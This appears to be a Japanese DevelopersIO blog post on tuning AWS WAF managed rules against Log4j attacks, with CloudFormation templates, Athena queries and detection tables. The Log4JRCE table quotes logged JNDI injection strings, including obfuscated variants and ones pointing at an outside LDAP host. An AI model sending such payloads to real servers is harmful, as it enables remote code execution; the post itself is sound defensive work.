この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。
AWSチームのすずきです。
AWSブログで紹介されている、Log4j 脆弱性対策として紹介されているマネージドルール「Log4JRCE」「AnonymouousIPList」「sizeRestrictions_BODY」を利用して、 当ブログサイト(DevelopersIO)の保護を行う機会がありました。
この過程で行ったマネージドルールの評価と、誤検知による副作用を回避する設定について紹介させて頂きます。
評価環境設定
先に紹介した「Log4JRCE」を含む AWSManagedRulesknownBadInputsRuleSet に加え、AWSManagedRulesCommonRuleSet、AWSManagedRulesAnonymousIpList を追加した環境を用意しました。
Log4j 脆弱性に対する AWS セキュリティサービスを利用した保護、検知、対応
AWSManagedRulesknownBadInputsRuleSet 特に、Log4j の脆弱性の存在についてリクエストを検査するのに役立つ Log4JRCE ルールを設定します。パターンの例としては、${jndi:ldap://example.com/} などがあります。
AWSManagedRulesAnonymousIpList 特に、AnonymouousIPList は、クライアント情報を匿名化することで知られるアクセス元の IP アドレスを検査するのに役立つ ルールです。
AWSManagedRulesCommonRuleSet 特に、 sizeRestrictions_BODY ルールは、リクエスト本文のサイズが最大 8 KB (8,192 バイト) であることを検証します。
全てのルールで OverrideAction は Count: {}
。
検出(カウント)のみに利用する設定としました。
WebACL
Rules:
- Name: AWS-AWSManagedRulesKnownBadInputsRuleSet
Priority: 10
Statement:
ManagedRuleGroupStatement:
VendorName: AWS
Name: AWSManagedRulesKnownBadInputsRuleSet
OverrideAction:
Count: {}
VisibilityConfig:
CloudWatchMetricsEnabled: true
MetricName: !Sub '${AWS::StackName}-AWSManagedRulesKnownBadInputsRuleSet'
SampledRequestsEnabled: true
- Name: AWS-AWSManagedRulesCommonRuleSet
Priority: 11
Statement:
ManagedRuleGroupStatement:
VendorName: AWS
Name: AWSManagedRulesCommonRuleSet
OverrideAction:
Count: {}
VisibilityConfig:
CloudWatchMetricsEnabled: true
MetricName: !Sub '${AWS::StackName}-AWSManagedRulesCommonRuleSet'
SampledRequestsEnabled: true
- Name: AWS-AWSManagedRulesAnonymousIpList
Priority: 12
Statement:
ManagedRuleGroupStatement:
VendorName: AWS
Name: AWSManagedRulesAnonymousIpList
OverrideAction:
Count: {}
VisibilityConfig:
CloudWatchMetricsEnabled: true
MetricName: !Sub '${AWS::StackName}-AWSManagedRulesAnonymousIpList'
SampledRequestsEnabled: true
LoggingConfiguration
AWS WAF ログのフィルター設定を変更。 ブロックに加え、カウントのログも記録する設定としました。
LoggingFilter:
DefaultBehavior: DROP
Filters:
- Behavior: KEEP
Conditions:
- ActionCondition:
Action: BLOCK
Requirement: MEETS_ALL
- Behavior: KEEP
Conditions:
- ActionCondition:
Action: COUNT
Requirement: MEETS_ANY
ルール別検出結果
4日間のAWS WAFのログ解析をAthenaを利用して行いました。
テーブル設定
CREATE EXTERNAL TABLE `waf_logs`(
`timestamp` bigint COMMENT 'from deserializer',
`formatversion` int COMMENT 'from deserializer',
`webaclid` string COMMENT 'from deserializer',
`terminatingruleid` string COMMENT 'from deserializer',
`terminatingruletype` string COMMENT 'from deserializer',
`action` string COMMENT 'from deserializer',
`terminatingrulematchdetails` array < struct < conditiontype :string,
location :string,
matcheddata :array < string > > > COMMENT 'from deserializer',
`httpsourcename` string COMMENT 'from deserializer',
`httpsourceid` string COMMENT 'from deserializer',
`rulegrouplist` array < struct < rulegroupid :string,
terminatingrule :struct < ruleid :string,
action :string,
rulematchdetails :string >,
nonterminatingmatchingrules :array < struct < ruleid :string,
action :string,
rulematchdetails :array < struct < conditiontype :string,
location :string,
matcheddata :array < string > > > > >,
excludedrules :array < struct < ruleid :string,
exclusiontype :string > > > > COMMENT 'from deserializer',
`ratebasedrulelist` array < struct < ratebasedruleid :string,
limitkey :string,
maxrateallowed :int > > COMMENT 'from deserializer',
`nonterminatingmatchingrules` array < struct < ruleid :string,
action :string > > COMMENT 'from deserializer',
`requestheadersinserted` string COMMENT 'from deserializer',
`responsecodesent` string COMMENT 'from deserializer',
`httprequest` struct < clientip :string,
country :string,
headers :array < struct < name :string,
value :string > >,
uri :string,
args :string,
httpversion :string,
httpmethod :string,
requestid :string > COMMENT 'from deserializer',
`labels` array < struct < name :string > > COMMENT 'from deserializer'
) PARTITIONED BY
(
`day` string
) ROW FORMAT SERDE 'org.openx.data.jsonserde.JsonSerDe'
STORED AS INPUTFORMAT 'org.apache.hadoop.mapred.TextInputFormat'
OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat'
LOCATION 's3://<S3BUCKET_NAME>/AWSLogs/<ACCOUNT_ID>/WAFLogs/<REGION>/###-webacl' TBLPROPERTIES(
'projection.day.format' = 'yyyy/MM/dd',
'projection.day.interval' = '1',
'projection.day.interval.unit' = 'DAYS',
'projection.day.range' = '2021/01/01,NOW',
'projection.day.type' = 'date',
'projection.enabled' = 'true',
'storage.location.template' = 's3://<S3BUCKET_NAME>/AWSLogs/<ACCOUNT_ID>/WAFLogs/<REGION>/###-webacl/${day}'
)
Log4JRCE
期間中の誤検知はなく ブロックに利用する事としました。
- URL、ユーザエージェント別集計
detections | country | url | UserAgent |
---|---|---|---|
20 | CN | / | curl/7.58.0 |
4 | US | / | Mozilla/5.0 (platform; rv:geckoversion) Gecko/geck |
4 | US | / | ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://#.#.132.224 |
4 | US | / | curl/7.58.0 |
3 | - | / | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) Ap |
3 | DE | / | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
2 | US | / | t(${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap |
2 | US | /${jndi:ldap | Mozilla/5.0 (platform; rv:geckoversion) Gecko/geck |
1 | CN | / | ${jndi:ldap://#.#.118.127:1389/Exploit} |
1 | IN | / | ${jndi:ldap://${hostName}.useragent.c70lkfc1nvnl0h |
1 | US | /login | Mozilla/5.0 (platform; rv:geckoversion) Gecko/geck |
1 | US | / | ${jndi:ldap://#.#.118.127:1389/Exploit} |
1 | SG | / | Mozilla/5.0 AppleWebKit/537.73 (KHTML, like Gecko) |
1 | RU | / | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
- 抽出SQL
SELECT
COUNT(1) as detections,
httprequest.country,
SUBSTRING(httprequest.uri, 1, 12) AS url_12,
SUBSTRING(unnest_headers.VALUE, 1, 50) AS UserAgent_50
FROM
waf_logs
CROSS JOIN UNNEST(labels) AS s(unnest_labels)
CROSS JOIN UNNEST(httprequest.headers) AS s(unnest_headers)
WHERE
day BETWEEN '2021/12/19' AND '2021/12/22'
AND unnest_labels.name = 'awswaf:managed:aws:known-bad-inputs:Log4JRCE'
AND LOWER(unnest_headers.name) = 'user-agent'
GROUP BY
httprequest.country,
SUBSTRING(httprequest.uri, 1, 12),
SUBSTRING(unnest_headers.VALUE, 1, 50)
ORDER BY
COUNT(1) DESC
SizeRestrictions_Body
AWS WAF、リクエストボディを最初の8 KB(8,192 バイト)のみ検査する仕様。 WAF検査を回避した攻撃を検知できる可能性がありますが、正規CMS操作、長文記事が保存された時のリクエストが検出されていました。
Core rule set (CRS) managed rule group
Verifies that the request body size is at most 8 KB (8,192 bytes).
正規のCMS操作を除外するルールを追加した上で、ブロックに利用する事としました。
- URL、ユーザエージェント別集計
detections | country | url | UserAgent |
---|---|---|---|
135 | JP | /wp-admin/ad | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
117 | JP | /wp-admin/po | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
63 | JP | /wp-admin/ad | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
38 | TH | /wp-admin/po | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
36 | JP | /wp-admin/po | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
28 | JP | /wp-admin/as | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
25 | TH | /wp-admin/ad | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
19 | JP | /wp-admin/as | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
3 | DE | /wp-admin/po | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
2 | DE | /wp-admin/ad | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
1 | KR | /wp-admin/ad | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap |
SELECT
COUNT(1) as detections,
httprequest.country,
SUBSTRING(httprequest.uri,1,12) as url,
SUBSTRING(unnest_headers.VALUE, 1, 50) AS UA
FROM
waf_logs
CROSS JOIN UNNEST(labels) AS s(unnest_labels)
CROSS JOIN UNNEST(httprequest.headers) AS s(unnest_headers)
WHERE
day BETWEEN '2021/12/19' AND '2021/12/22'
AND unnest_labels.name = 'awswaf:managed:aws:core-rule-set:SizeRestrictions_Body'
AND LOWER(unnest_headers.name) = 'user-agent'
GROUP BY
httprequest.country,
SUBSTRING(httprequest.uri,1,12),
SUBSTRING(unnest_headers.VALUE, 1, 50)
ORDER BY
COUNT(1) DESC
AnonymousIPList
AnonymousIPList は、悪意のある攻撃の際に利用されやすい「匿名プロキシ(Anonymous Proxy)」、「Tor ノード(IP 発信元の匿名化)」、「VPN」、「ホスティングプロバイダー」が定義されたルールです。
正規のクローラーと推測されるリクエストが検出されていた事から、正規ページ、実害のないパスについては除外するルールを追加する事としました。
detections | country | url | UserAgent |
---|---|---|---|
48 | - | /feed/ | Selfoss/2.18 (SimplePie/1.5.1; +https://selfoss.ad |
6 | - | / | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
5 | US | /robots.txt | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help |
4 | US | /server-side | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help |
4 | - | /favicon.ico | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb |
3 | - | / | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) Ap |
3 | US | /smartphone/ | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help |
3 | DE | /feed/ | Selfoss/2.18 (SimplePie/1.5.1; +https://selfoss.ad |
2 | - | /favicon.ico | Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/201001 |
2 | - | /vendor/phpu | Mozilla/5.0 (X11; Ubuntu; 2040 ;Linux i686; rv:28. |
2 | - | /app/vendor/ | Mozilla/5.0 (X11; Ubuntu; 2405 ;Linux i686; rv:28. |
2 | US | /cloud/aws/a | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help |
2 | US | /cloud/route | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help |
2 | - | /articles/el | Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/201001 |
2 | - | /vendor/phpu | Mozilla/5.0 (X11; Ubuntu; 2505 ;Linux i686; rv:28. |
2 | - | /vendor/phpu | Mozilla/5.0 (X11; Ubuntu; 1568 ;Linux i686; rv:28. |
SELECT
COUNT(1) as detections,
httprequest.country,
SUBSTRING(httprequest.uri, 1, 12) AS url_12,
SUBSTRING(unnest_headers.VALUE, 1, 50) AS UserAgent_50
FROM
waf_logs
CROSS JOIN UNNEST(labels) AS s(unnest_labels)
CROSS JOIN UNNEST(httprequest.headers) AS s(unnest_headers)
WHERE
day BETWEEN '2021/12/19' AND '2021/12/22'
AND unnest_labels.name = 'awswaf:managed:aws:anonymous-ip-list:AnonymousIPList'
AND LOWER(unnest_headers.name) = 'user-agent'
GROUP BY
httprequest.country,
SUBSTRING(httprequest.uri, 1, 12),
SUBSTRING(unnest_headers.VALUE, 1, 50)
ORDER BY
COUNT(1) DESC
ルール設定
誤判定による副作用を避けるため、例外設定の追加を行いました。
IPSet
信頼できるIPアドレスのホワイトリストを用意しました。
IPSetWhiteList:
Type: AWS::WAFv2::IPSet
Properties:
Name: !Sub '${AWS::StackName}-IPSetWhiteList'
Scope: REGIONAL
IPAddressVersion: IPV4
Addresses:
- 192.0.2.0/32
- 198.51.100.0/32
IPSetWhiteListV6:
Type: AWS::WAFv2::IPSet
Properties:
Name: !Sub '${AWS::StackName}-IPSetWhiteListV6'
Scope: REGIONAL
IPAddressVersion: IPV6
Addresses:
- 2001:db8::/32
Aloowルール
- ホワイトリストに登録された信頼できるIPアドレスを許可しました
- CMSの正規ログイン時に付与される特的のクッキー文字列が含まれるリクエストを許可しました。
- 他のルールより最優先で評価される
Priority
指定を行いました。
Rules:
- Action:
Allow: {}
Name: !Sub '${AWS::StackName}-allow-rule'
Priority: 1
VisibilityConfig:
SampledRequestsEnabled: false
CloudWatchMetricsEnabled: false
MetricName: !Sub '${AWS::StackName}-allow-rule'
Statement:
OrStatement:
Statements:
- IPSetReferenceStatement:
Arn: !GetAtt 'IPSetWhiteList.Arn'
- IPSetReferenceStatement:
Arn: !GetAtt 'IPSetWhiteListV6.Arn'
- RegexMatchStatement:
FieldToMatch:
SingleHeader:
Name: cookie
RegexString: COOKIEKEY.*=.*
TextTransformations:
- Type: NONE
Priority: 0
AWSManagedRulesAnonymousIpList
- 「AnonymousIPList」以外のルール、
ExcludedRules
指定で除外しました。 - 日本国内からのIPアドレスは、リスクは低いとして副作用回避を優先して除外しました。
- リクエストのURLが特定のURL、攻撃成立リスクの少ないパスは除外しました。
- Name: AWS-AWSManagedRulesAnonymousIpList
Priority: 11
Statement:
ManagedRuleGroupStatement:
VendorName: AWS
Name: AWSManagedRulesAnonymousIpList
ExcludedRules:
- Name: HostingProviderIPList
ScopeDownStatement:
AndStatement:
Statements:
- NotStatement:
Statement:
GeoMatchStatement:
CountryCodes:
- JP
- NotStatement:
Statement:
ByteMatchStatement:
FieldToMatch:
UriPath: {}
PositionalConstraint: CONTAINS
SearchString: /feed
TextTransformations:
- Type: NONE
Priority: 0
- NotStatement:
Statement:
RegexMatchStatement:
FieldToMatch:
UriPath: {}
RegexString: ^/articles/.*/$
TextTransformations:
- Type: NONE
Priority: 0
AWSManagedRulesCommonRuleSet
- 「SizeRestrictions_Body」以外のルール、
ExcludedRules
指定で除外しました。
- Name: AWS-AWSManagedRulesCommonRuleSet
Priority: 12
Statement:
ManagedRuleGroupStatement:
VendorName: AWS
Name: AWSManagedRulesCommonRuleSet
ExcludedRules:
- Name: NoUserAgent_HEADER
- Name: UserAgent_BadBots_HEADER
- Name: SizeRestrictions_QUERYSTRING
- Name: SizeRestrictions_Cookie_HEADER
- Name: SizeRestrictions_URIPATH
- Name: EC2MetaDataSSRF_BODY
- Name: EC2MetaDataSSRF_COOKIE
- Name: EC2MetaDataSSRF_URIPATH
- Name: EC2MetaDataSSRF_QUERYARGUMENTS
- Name: GenericLFI_QUERYARGUMENTS
- Name: GenericLFI_URIPATH
- Name: GenericLFI_BODY
- Name: RestrictedExtensions_URIPATH
- Name: RestrictedExtensions_QUERYARGUMENTS
- Name: GenericRFI_QUERYARGUMENTS
- Name: GenericRFI_BODY
- Name: GenericRFI_URIPATH
- Name: CrossSiteScripting_COOKIE
- Name: CrossSiteScripting_QUERYARGUMENTS
- Name: CrossSiteScripting_BODY
- Name: CrossSiteScripting_URIPATH
ダッシュボード更新
「Log4JRCE」、「AWSManagedRulesAnonymousIpList」、「SizeRestrictions_Body」のブロック実績を表示するようにしました。
遮断ログの確認
ブロックが意図した状態である事を確認します。
誤判定によるブロック実績が確認された場合、除外ルールの追加などを行います。
- 当日、前日の遮断ログのリクエスト確認
SELECT
date_format(from_unixtime(timestamp / 1000) AT TIME ZONE 'Asia/Tokyo', '%Y/%m/%dT%H:%i:%s') AS "JST",
labels,
httprequest.country,
httprequest.clientip,
httprequest.uri,
httprequest.headers
FROM
waf_logs
WHERE
day BETWEEN date_format(current_timestamp + interval '-1' day, '%Y/%m/%d') AND date_format(current_timestamp, '%Y/%m/%d')
AND ACTION = 'BLOCK'
ORDER BY
timestamp DESC
まとめ
AWS WAF のみで Log4j 脆弱性を狙う攻撃を完全に防ぐ事は困難ですが、 AWS が提供する複数のマネージドルールを利用する事で、リスクの軽減効果は期待出来ると思われます。
利用するワークロードによってはマネージドルールの誤判定が生じる可能性もありますので、 遮断運用を開始する前に、充分な評価を実施頂くことをおすすめします。
CloudFormationテンプレート全文
- 「COOKIEKEY」と、許可IPアドレス以外、当サイトの保護に利用中のWAF設定です
AWSTemplateFormatVersion: '2010-09-09'
Description: AWS WAF to mitigate the Log4j2 vulnerability v20211223
Resources:
IPSetWhiteList:
Type: AWS::WAFv2::IPSet
Properties:
Name: !Sub '${AWS::StackName}-IPSetWhiteList'
Scope: REGIONAL
IPAddressVersion: IPV4
Addresses:
- 13.231.11.115/32
- 13.231.60.144/32
IPSetWhiteListV6:
Type: AWS::WAFv2::IPSet
Properties:
Name: !Sub '${AWS::StackName}-IPSetWhiteListV6'
Scope: REGIONAL
IPAddressVersion: IPV6
Addresses:
- 2001:db8::/32
WebACL:
Type: AWS::WAFv2::WebACL
Properties:
Name: !Sub '${AWS::StackName}-webacl'
DefaultAction:
Allow: {}
Description: AWS WAF to mitigate the Log4j2 vulnerability v20211223
Scope: REGIONAL
Tags:
- Key: StackName
Value: !Sub '${AWS::StackName}'
VisibilityConfig:
CloudWatchMetricsEnabled: true
MetricName: !Sub '${AWS::StackName}'
SampledRequestsEnabled: false
Rules:
- Action:
Allow: {}
Name: !Sub '${AWS::StackName}-allow-rule'
Priority: 1
VisibilityConfig:
SampledRequestsEnabled: false
CloudWatchMetricsEnabled: false
MetricName: !Sub '${AWS::StackName}-allow-rule'
Statement:
OrStatement:
Statements:
- IPSetReferenceStatement:
Arn: !GetAtt 'IPSetWhiteList.Arn'
- IPSetReferenceStatement:
Arn: !GetAtt 'IPSetWhiteListV6.Arn'
- RegexMatchStatement:
FieldToMatch:
SingleHeader:
Name: cookie
RegexString: COOKIEKEY.*=.*
TextTransformations:
- Type: NONE
Priority: 0
- Name: AWS-AWSManagedRulesKnownBadInputsRuleSet
Priority: 10
Statement:
ManagedRuleGroupStatement:
VendorName: AWS
Name: AWSManagedRulesKnownBadInputsRuleSet
ExcludedRules:
- Name: Host_localhost_HEADER
- Name: PROPFIND_METHOD
- Name: ExploitablePaths_URIPATH
OverrideAction:
None: {}
VisibilityConfig:
CloudWatchMetricsEnabled: true
MetricName: !Sub '${AWS::StackName}-AWSManagedRulesKnownBadInputsRuleSet'
SampledRequestsEnabled: true
- Name: AWS-AWSManagedRulesAnonymousIpList
Priority: 11
Statement:
ManagedRuleGroupStatement:
VendorName: AWS
Name: AWSManagedRulesAnonymousIpList
ExcludedRules:
- Name: HostingProviderIPList
ScopeDownStatement:
AndStatement:
Statements:
- NotStatement:
Statement:
GeoMatchStatement:
CountryCodes:
- JP
- NotStatement:
Statement:
ByteMatchStatement:
FieldToMatch:
UriPath: {}
PositionalConstraint: CONTAINS
SearchString: /feed
TextTransformations:
- Type: NONE
Priority: 0
- NotStatement:
Statement:
RegexMatchStatement:
FieldToMatch:
UriPath: {}
RegexString: ^/articles/.*/$
TextTransformations:
- Type: NONE
Priority: 0
OverrideAction:
None: {}
VisibilityConfig:
CloudWatchMetricsEnabled: true
MetricName: !Sub '${AWS::StackName}-AWSManagedRulesAnonymousIpList'
SampledRequestsEnabled: true
- Name: AWS-AWSManagedRulesCommonRuleSet
Priority: 12
Statement:
ManagedRuleGroupStatement:
VendorName: AWS
Name: AWSManagedRulesCommonRuleSet
ExcludedRules:
- Name: NoUserAgent_HEADER
- Name: UserAgent_BadBots_HEADER
- Name: SizeRestrictions_QUERYSTRING
- Name: SizeRestrictions_Cookie_HEADER
- Name: SizeRestrictions_URIPATH
- Name: EC2MetaDataSSRF_BODY
- Name: EC2MetaDataSSRF_COOKIE
- Name: EC2MetaDataSSRF_URIPATH
- Name: EC2MetaDataSSRF_QUERYARGUMENTS
- Name: GenericLFI_QUERYARGUMENTS
- Name: GenericLFI_URIPATH
- Name: GenericLFI_BODY
- Name: RestrictedExtensions_URIPATH
- Name: RestrictedExtensions_QUERYARGUMENTS
- Name: GenericRFI_QUERYARGUMENTS
- Name: GenericRFI_BODY
- Name: GenericRFI_URIPATH
- Name: CrossSiteScripting_COOKIE
- Name: CrossSiteScripting_QUERYARGUMENTS
- Name: CrossSiteScripting_BODY
- Name: CrossSiteScripting_URIPATH
OverrideAction:
None: {}
VisibilityConfig:
CloudWatchMetricsEnabled: true
MetricName: !Sub '${AWS::StackName}-AWSManagedRulesCommonRuleSet'
SampledRequestsEnabled: true
LoggingConfiguration:
Type: AWS::WAFv2::LoggingConfiguration
DependsOn: S3Bucket
Properties:
ResourceArn: !GetAtt 'WebACL.Arn'
LogDestinationConfigs:
- !GetAtt 'S3Bucket.Arn'
LoggingFilter:
DefaultBehavior: DROP
Filters:
- Behavior: KEEP
Conditions:
- ActionCondition:
Action: BLOCK
Requirement: MEETS_ALL
- Behavior: KEEP
Conditions:
- ActionCondition:
Action: COUNT
Requirement: MEETS_ANY
S3Bucket:
Type: AWS::S3::Bucket
Properties:
BucketName: !Sub 'aws-waf-logs-${AWS::StackName}-${AWS::Region}-${AWS::AccountId}'
BucketEncryption:
ServerSideEncryptionConfiguration:
- ServerSideEncryptionByDefault:
SSEAlgorithm: AES256
LifecycleConfiguration:
Rules:
- Id: ExpirationInDays
Status: Enabled
ExpirationInDays: 45
- Id: NoncurrentVersionExpiration
Status: Enabled
NoncurrentVersionExpirationInDays: 7
- Id: ExpiredObjectDeleteMarker
Status: Enabled
ExpirationInDays: 7
- Id: AbortIncompleteMultipartUpload
Status: Enabled
AbortIncompleteMultipartUpload:
DaysAfterInitiation: 3
PublicAccessBlockConfiguration:
BlockPublicAcls: true
BlockPublicPolicy: true
IgnorePublicAcls: true
RestrictPublicBuckets: true
Tags:
- Key: StackId
Value: !Sub '${AWS::StackId}'
VersioningConfiguration:
Status: Enabled
S3BucketPolicy:
Type: AWS::S3::BucketPolicy
Properties:
Bucket: !Ref 'S3Bucket'
PolicyDocument:
Id: !Sub '${AWS::StackName}-BucketPolicy'
Statement:
- Sid: AWSLogDeliveryWrite
Effect: Allow
Principal:
Service: delivery.logs.amazonaws.com
Action:
- s3:PutObject
Resource:
- !Sub 'arn:aws:s3:::${S3Bucket}/*'
Condition:
StringEquals:
s3:x-amz-acl: bucket-owner-full-control
- Sid: AWSLogDeliveryAclCheck
Effect: Allow
Principal:
Service: delivery.logs.amazonaws.com
Action:
- s3:GetBucketAcl
Resource:
- !Sub 'arn:aws:s3:::${S3Bucket}'